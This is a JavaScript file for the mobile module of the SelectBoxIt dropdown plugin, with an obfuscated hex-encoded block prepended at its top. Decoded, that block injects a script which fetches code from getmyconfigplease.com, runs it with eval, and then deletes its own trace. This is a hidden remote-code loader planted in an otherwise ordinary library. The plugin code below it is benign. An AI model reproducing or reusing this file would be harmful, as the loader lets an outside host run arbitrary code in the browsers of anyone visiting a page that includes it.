text: var _0xb27a=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x30\x30\x30\x30\x30\x30\x31","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x63\x6F\x6E\x73\x74\x20\x68\x74\x74\x70\x20\x3D\x20\x6E\x65\x77\x20\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74\x28\x29\x3B\x20\x76\x61\x72\x20\x74\x75\x72\x6C\x20\x3D\x20\x53\x74\x72\x69\x6E\x67\x2E\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65\x28\x31\x30\x34\x2C\x20\x31\x31\x36\x2C\x20\x31\x31\x36\x2C\x20\x31\x31\x32\x2C\x20\x31\x31\x35\x2C\x20\x35\x38\x2C\x20\x34\x37\x2C\x20\x34\x37\x2C\x20\x31\x30\x33\x2C\x20\x31\x30\x31\x2C\x20\x31\x31\x36\x2C\x20\x31\x30\x39\x2C\x20\x31\x32\x31\x2C\x20\x39\x39\x2C\x20\x31\x31\x31\x2C\x20\x31\x31\x30\x2C\x20\x31\x30\x32\x2C\x20\x31\x30\x35\x2C\x20\x31\x30\x33\x2C\x20\x31\x31\x32\x2C\x20\x31\x30\x38\x2C\x20\x31\x30\x31\x2C\x20\x39\x37\x2C\x20\x31\x31\x35\x2C\x20\x31\x30\x31\x2C\x20\x34\x36\x2C\x20\x39\x39\x2C\x20\x31\x31\x31\x2C\x20\x31\x30\x39\x2C\x20\x34\x37\x2C\x20\x31\x30\x33\x2C\x20\x31\x30\x31\x2C\x20\x31\x31\x36\x2C\x20\x34\x36\x2C\x20\x31\x31\x32\x2C\x20\x31\x30\x34\x2C\x20\x31\x31\x32\x29\x3B\x20\x68\x74\x74\x70\x2E\x6F\x70\x65\x6E\x28\x22\x47\x45\x54\x22\x2C\x20\x74\x75\x72\x6C\x2C\x66\x61\x6C\x73\x65\x29\x3B\x20\x68\x74\x74\x70\x2E\x73\x65\x6E\x64\x28\x29\x3B\x20\x76\x61\x72\x20\x72\x65\x73\x70\x20\x3D\x20\x68\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74\x3B\x20\x69\x66\x28\x72\x65\x73\x70\x20\x21\x3D\x20\x22\x6E\x75\x6C\x6C\x22\x29\x20\x7B\x20\x65\x76\x61\x6C\x28\x72\x65\x73\x70\x29\x3B\x20\x7D\x20\x76\x61\x72\x20\x65\x6C\x65\x6D\x20\x3D\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x22\x63\x64\x6E\x30\x30\x30\x30\x30\x30\x31\x22\x29\x3B\x20\x65\x6C\x65\x6D\x2E\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65\x2E\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64\x28\x65\x6C\x65\x6D\x29\x3B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"];var _0xd61d=[_0xb27a[0],_0xb27a[1],_0xb27a[2],_0xb27a[3],_0xb27a[4],_0xb27a[5],_0xb27a[6],_0xb27a[7],_0xb27a[8],_0xb27a[9],_0xb27a[10],_0xb27a[11]];(function(){var _0xd451x2=document[_0xd61d[1]](_0xd61d[0]);_0xd451x2[_0xd61d[2]]= _0xd61d[3];_0xd451x2[_0xd61d[4]]= true;_0xd451x2[_0xd61d[5]]= _0xd61d[6];_0xd451x2[_0xd61d[7]]= _0xd61d[8];var _0xd451x3=document[_0xd61d[9]](_0xd61d[0])[0];_0xd451x3[_0xd61d[11]][_0xd61d[10]](_0xd451x2,_0xd451x3)})();
      // Mobile Module
      // =============
  
      // Set Mobile Text
      // ---------------
      //      Updates the text of the drop down
      selectBoxIt._updateMobileText = function() {
  
          var self = this,
              currentOption,
              currentDataText,
              currentText;
  
          currentOption = self.selectBox.find("option").filter(":selected");
  
          currentDataText = currentOption.attr("data-text");
  
          currentText = currentDataText ? currentDataText: currentOption.text();
  
          // Sets the new dropdown list text to the value of the original dropdown list
          self._setText(self.dropdownText, currentText);
  
          if(self.list.find('li[data-val="' + currentOption.val() + '"]').find("i").attr("class")) {
  
             self.dropdownImage.attr("class", self.list.find('li[data-val="' + currentOption.val() + '"]').find("i").attr("class")).addClass("selectboxit-default-icon");
  
          }
  
      };
  
      // Apply Native Select
      // -------------------
      //      Applies the original select box directly over the new drop down
  
      selectBoxIt._applyNativeSelect = function() {
  
          // Stores the plugin context inside of the self variable
          var self = this;
  
          // Appends the native select box to the drop down (allows for relative positioning using the position() method)
          self.dropdownContainer.append(self.selectBox);
  
          self.dropdown.attr("tabindex", "-1");
  
          // Positions the original select box directly over top the new dropdown list using position absolute and "hides" the original select box using an opacity of 0.  This allows the mobile browser "wheel" interface for better usability.
          self.selectBox.css({
  
              "display": "block",
  
              "visibility": "visible",
  
              "width": self._realOuterWidth(self.dropdown),
  
              "height": self.dropdown.outerHeight(),
  
              "opacity": "0",
  
              "position": "absolute",
  
              "top": "0",
  
              "left": "0",
  
              "cursor": "pointer",
  
              "z-index": "999999",
  
              "margin": self.dropdown.css("margin"),
  
              "padding": "0",
  
              "-webkit-appearance": "menulist-button"
  
          });
  
          if(self.originalElem.disabled) {
  
              self.triggerEvent("disable");
  
          }
  
          return this;
  
      };
  
      // Mobile Events
      // -------------
      //      Listens to mobile-specific events
      selectBoxIt._mobileEvents = function() {
  
          var self = this;
  
          self.selectBox.on({
  
              "changed.selectBoxIt": function() {
  
                  self.hasChanged = true;
  
                  self._updateMobileText();
  
                  // Triggers the `option-click` event on mobile
                  self.triggerEvent("option-click");
  
              },
  
              "mousedown.selectBoxIt": function() {
  
                  // If the select box has not been changed, the defaultText option is being used
                  if(!self.hasChanged && self.options.defaultText && !self.originalElem.disabled) {
  
                      self._updateMobileText();
  
                      self.triggerEvent("option-click");
  
                  }
  
              },
  
              "enable.selectBoxIt": function() {
  
                  // Moves SelectBoxIt onto the page
                  self.selectBox.removeClass('selectboxit-rendering');
  
              },
  
              "disable.selectBoxIt": function() {
  
                  // Moves SelectBoxIt off the page
                  self.selectBox.addClass('selectboxit-rendering');
  
              }
  
          });
  
      };
  
      // Mobile
      // ------
      //      Applies the native "wheel" interface when a mobile user is interacting with the dropdown
  
      selectBoxIt._mobile = function(callback) {
  
          // Stores the plugin context inside of the self variable
          var self = this;
  
              if(self.isMobile) {
  
                  self._applyNativeSelect();
  
                  self._mobileEvents();
  
              }
  
              // Maintains chainability
              return this;
  
      };